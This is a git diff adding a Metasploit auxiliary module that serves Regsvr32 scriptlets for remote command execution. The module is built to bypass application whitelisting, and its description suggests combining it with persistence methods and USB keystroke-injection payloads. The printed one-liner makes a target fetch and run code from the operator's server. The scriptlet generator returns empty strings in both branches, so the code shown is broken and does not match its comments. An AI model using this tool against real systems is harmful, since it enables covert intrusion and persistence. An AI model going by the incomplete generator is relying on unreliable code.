diff --git a/modules/auxiliary/server/regsvr32_command_delivery_server.rb b/modules/auxiliary/server/regsvr32_command_delivery_server.rb
new file mode 100644
index 0000000000..cb42d72281
--- /dev/null
+++ b/modules/auxiliary/server/regsvr32_command_delivery_server.rb
@@ -0,0 +1,68 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpServer
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Regsvr32.exe (.sct) Command Delivery Server',
+ 'Description' => %q(
+ This module uses the Regsvr32.exe Application Whitelisting Bypass technique as a way to run a command on
+ a target system. The major advantage of this technique is that you can execute a static command on the target
+ system and dynamically and remotely change the command that will actually run (by changing the value of CMD).
+ This is useful when combined with persistence methods (e.g., a recurring scheduled task) or when flexibility
+ is needed through the use of a single command (e.g., as Rubber Ducky payload).
+ ),
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
+ 'Trenton Ivey', # MSF Module (kn0)
+ 'mubix', # Auxiliary module idea
+ ],
+ 'References' =>
+ [
+ ['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
+ ]
+ ))
+
+ register_options(
+ [
+ OptString.new('CMD',[false, 'The command to execute',''])
+ ])
+ end
+
+
+ def run
+ exploit
+ print_status("Run the following command on the target machine:")
+ print_line("regsvr32 /s /n /u /i:#{get_uri} scrobj.dll")
+ end
+
+ def on_request_uri(cli, _request)
+ print_status("Handling request from #{cli.peerhost}")
+ data = gen_sct_file(datastore['CMD'])
+ send_response(cli, data, 'Content-Type' => 'text/plain')
+ end
+
+
+ def rand_class_id
+ "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
+ end
+
+
+ def gen_sct_file(command)
+ # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
+ if command == ''
+ return %{}
+ # If a command is provided, tell the target system to execute it.
+ else
+ return %{}
+ end
+ end
+
+end